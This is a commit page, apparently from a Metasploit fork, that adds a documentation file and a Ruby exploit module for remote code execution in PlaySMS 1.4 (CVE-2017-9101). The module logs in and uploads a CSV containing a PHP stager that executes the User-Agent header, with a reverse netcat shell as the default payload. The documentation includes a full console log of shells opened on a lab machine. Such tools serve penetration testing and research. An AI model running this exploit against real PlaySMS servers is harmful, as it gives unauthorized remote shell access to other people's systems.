PlaySMS 1.4 RCE
PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.phpGSoC/Meterpreter_Web_Console
parent
ea3378753b
commit
0e0fcdf727
|
@ -0,0 +1,159 @@
|
||||||
|
## Description
|
||||||
|
import.php (aka the Phonebook import feature) in PlaySMS 1.4 allows remote code execution via vectors involving the User-Agent HTTP header
|
||||||
|
and PHP code in the name of a file.
|
||||||
|
|
||||||
|
CVE ID : CVE-2017-9101
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
According To publicly exploit Disclosure of PlaySMS 1.4
|
||||||
|
this application is vulnerable to 'import.php' Remote Code Execution
|
||||||
|
read more : https://www.exploit-db.com/exploits/42044/
|
||||||
|
|
||||||
|
|
||||||
|
**Vulnerable Application Link**
|
||||||
|
https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz
|
||||||
|
|
||||||
|
## Vulnerable Application Installation Setup.
|
||||||
|
Download Application : ```wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz```
|
||||||
|
|
||||||
|
Extract..
|
||||||
|
|
||||||
|
Move In WebDirectory : ```mv playsms-1.4/web/* /var/www/html/```
|
||||||
|
|
||||||
|
Change Owner : ```chown -R www-data:www-data /var/www/html/```
|
||||||
|
|
||||||
|
Set DB creds in Config File. And dump playsms-1.4/db/playsms.sql in your playsms database.
|
||||||
|
|
||||||
|
Now Visit.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnhub machine : https://www.vulnhub.com/entry/dina-101,200/
|
||||||
|
|
||||||
|
**And Follow Clipbucket Installer**
|
||||||
|
Visit : http://localhost/
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: `use exploit/unix/http/playsms_uploadcsv_exec`
|
||||||
|
4. Do: `set rport <port>`
|
||||||
|
5. Do: `set rhost <ip>`
|
||||||
|
6. Do: `set targeturi SecreTSMSgatwayLogin`
|
||||||
|
6. Do: `check`
|
||||||
|
```
|
||||||
|
[*] 10.22.1.10:80 The target appears to be vulnerable.
|
||||||
|
```
|
||||||
|
7. Do: `set lport <port>`
|
||||||
|
8. Do: `set lhost <ip>`
|
||||||
|
9. Do: `exploit`
|
||||||
|
10. You should get a shell.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**TARGETURI**
|
||||||
|
|
||||||
|
TARGETURI by default is `/`, however it can be changed.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
**TESTED AGAINST LINUX**
|
||||||
|
```
|
||||||
|
msf auxiliary(scanner/smb/smb_enum_gpp) > use exploit/unix/http/playsms_uploadcsv_exec
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > set targeturi SecreTSMSgatwayLogin
|
||||||
|
targeturi => SecreTSMSgatwayLogin
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > set rhost 10.22.1.10
|
||||||
|
rhost => 10.22.1.10
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > set username touhid
|
||||||
|
username => touhid
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > set password diana
|
||||||
|
password => diana
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > set lhost 10.22.1.9
|
||||||
|
lhost => 10.22.1.9
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > show options
|
||||||
|
|
||||||
|
Module options (exploit/unix/http/playsms_uploadcsv_exec):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
PASSWORD diana yes Password to authenticate with
|
||||||
|
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||||
|
RHOST 10.22.1.10 yes The target address
|
||||||
|
RPORT 80 yes The target port (TCP)
|
||||||
|
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||||
|
TARGETURI SecreTSMSgatwayLogin yes Base playsms directory path
|
||||||
|
USERNAME touhid yes Username to authenticate with
|
||||||
|
VHOST no HTTP server virtual host
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (cmd/unix/reverse_netcat):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
LHOST 10.22.1.9 yes The listen address
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 PlaySMS 1.4
|
||||||
|
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > check
|
||||||
|
[*] 10.22.1.10:80 The target appears to be vulnerable.
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 10.22.1.9:4444
|
||||||
|
[*] Trying to Login ......
|
||||||
|
[+] Authentication successful: touhid:diana
|
||||||
|
[*] Trying to upload malicious CSV file ....
|
||||||
|
[*] Command shell session 1 opened (10.22.1.9:4444 -> 10.22.1.10:57706) at 2018-03-18 13:10:24 +0530
|
||||||
|
id
|
||||||
|
|
||||||
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||||
|
uname -a
|
||||||
|
Linux Dina 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
|
||||||
|
^Z
|
||||||
|
Background session 1? [y/N] y
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Name Type Information Connection
|
||||||
|
-- ---- ---- ----------- ----------
|
||||||
|
1 shell cmd/unix 10.22.1.9:4444 -> 10.22.1.10:57706 (10.22.1.10)
|
||||||
|
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf exploit(unix/http/playsms_uploadcsv_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 10.22.1.9:4444
|
||||||
|
[+] X-CSRF-Token for login : cf6f56ccf44e26d046ed153319340c14
|
||||||
|
[*] Trying to Login ......
|
||||||
|
[+] Authentication successful: touhid:diana
|
||||||
|
[+] X-CSRF-Token for upload : 7bd4ffbe733ecaa9bea1c5dce9e040e7
|
||||||
|
[*] Trying to upload malicious CSV file ....
|
||||||
|
[*] Command shell session 2 opened (10.22.1.9:4444 -> 10.22.1.10:57711) at 2018-03-18 13:17:09 +0530
|
||||||
|
id
|
||||||
|
|
||||||
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||||
|
uname -a
|
||||||
|
Linux Dina 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
|
||||||
|
ls -la
|
||||||
|
total 52
|
||||||
|
drwxr-xr-x 6 root root 4096 Oct 17 19:09 .
|
||||||
|
drwxr-xr-x 9 root root 4096 Oct 17 20:51 ..
|
||||||
|
-rw-r--r-- 1 root root 2908 Oct 17 19:08 config-dist.php
|
||||||
|
-rw-r--r-- 1 root root 2903 Oct 17 19:11 config.php
|
||||||
|
drwxr-xr-x 3 root root 4096 Oct 17 19:08 inc
|
||||||
|
-rw-r--r-- 1 root root 3205 Oct 17 19:08 index.php
|
||||||
|
-rw-r--r-- 1 root root 13463 Oct 17 19:08 init.php
|
||||||
|
drwxr-xr-x 3 root root 4096 Oct 17 19:08 lib
|
||||||
|
drwxr-xr-x 7 root root 4096 Oct 17 19:08 plugin
|
||||||
|
drwxr-xr-x 3 root root 4096 Oct 17 19:08 storage
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,196 @@
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'PlaySMS 1.4 - import.php, CSV file upload Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
PlaySMS 1.4 - import.php (aka the Phonebook import feature), CSV file upload with milicious payload
|
||||||
|
Remote Code Execution via vectors involving the User-Agent HTTP header and PHP code in the User-Agent.
|
||||||
|
|
||||||
|
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Discoverys and Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE','2017-9101'],
|
||||||
|
['EDB', '42044']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SSL' => false,
|
||||||
|
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
||||||
|
},
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'PlaySMS 1.4', { } ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'May 21 2017'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/playsms']),
|
||||||
|
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||||
|
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'password'])
|
||||||
|
])
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def uri
|
||||||
|
return target_uri.path
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = nil
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'index.php')
|
||||||
|
})
|
||||||
|
rescue
|
||||||
|
vprint_error("Unable to access the index.php file")
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 302 && res.headers['Location'].include?("index.php?app=main&inc=core_auth&route=login")
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def login
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vhost' => "#{rhost}:#{rport}",
|
||||||
|
'vars_get' => {
|
||||||
|
'app' => 'main',
|
||||||
|
'inc' => 'core_auth',
|
||||||
|
'route' => 'login',
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# Grabbing CSRF token from body
|
||||||
|
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||||
|
vprint_good("X-CSRF-Token for login : #{csrf}")
|
||||||
|
|
||||||
|
cookies = res.get_cookies
|
||||||
|
print_status("Trying to Login ......")
|
||||||
|
# Send Creds with cookies.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
'vars_get' => {
|
||||||
|
'app' => 'main',
|
||||||
|
'inc' => 'core_auth',
|
||||||
|
'route' => 'login',
|
||||||
|
'op' => 'login',
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'X-CSRF-Token' => csrf,
|
||||||
|
'username' => datastore['USERNAME'],
|
||||||
|
'password' => datastore['PASSWORD']
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Try to access index page with authenticated cookie.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
})
|
||||||
|
|
||||||
|
# if we redirect to core_welcome dan we assume we have authenticated cookie.
|
||||||
|
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
|
||||||
|
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||||
|
return cookies
|
||||||
|
else
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Tested successfully on Dina: 1.0.1 machine on vulnhub.
|
||||||
|
# Link : https://www.vulnhub.com/entry/dina-101,200/
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
cookies = login
|
||||||
|
|
||||||
|
# Agian CSRF token.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vhost' => "#{rhost}:#{rport}",
|
||||||
|
'cookie' => cookies,
|
||||||
|
'vars_get' => {
|
||||||
|
'app' => 'main',
|
||||||
|
'inc' => 'feature_phonebook',
|
||||||
|
'route' => 'import',
|
||||||
|
'op' => 'list',
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Grabbing CSRF token from body
|
||||||
|
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||||
|
vprint_good("X-CSRF-Token for upload : #{csrf}")
|
||||||
|
|
||||||
|
# Payload.
|
||||||
|
stager = "<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>"
|
||||||
|
|
||||||
|
#making csv file body
|
||||||
|
final_stager = "Name,Email,Department\n"
|
||||||
|
final_stager << stager
|
||||||
|
final_stager <<',2,3'
|
||||||
|
|
||||||
|
# setup POST request.
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"X-CSRF-Token\"") # CSRF token
|
||||||
|
post_data.add_part(final_stager, content_type = "text/csv", transfer_encoding = nil, content_disposition = "form-data; name=\"fnpb\"; filename=\"agent22.csv\"") #payload
|
||||||
|
data = post_data.to_s
|
||||||
|
|
||||||
|
print_status("Trying to upload malicious CSV file ....")
|
||||||
|
# Lets Send Upload request.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vhost' => "#{rhost}:#{rport}",
|
||||||
|
'agent' => payload.encode,
|
||||||
|
'cookie' => cookies,
|
||||||
|
'vars_get' => {
|
||||||
|
'app' => 'main',
|
||||||
|
'inc' => 'feature_phonebook',
|
||||||
|
'route' => 'import',
|
||||||
|
'op' => 'import',
|
||||||
|
},
|
||||||
|
'headers' => {
|
||||||
|
'Upgrade-Insecure-Requests' => '1',
|
||||||
|
},
|
||||||
|
'Connection' => 'close',
|
||||||
|
'data' => data,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue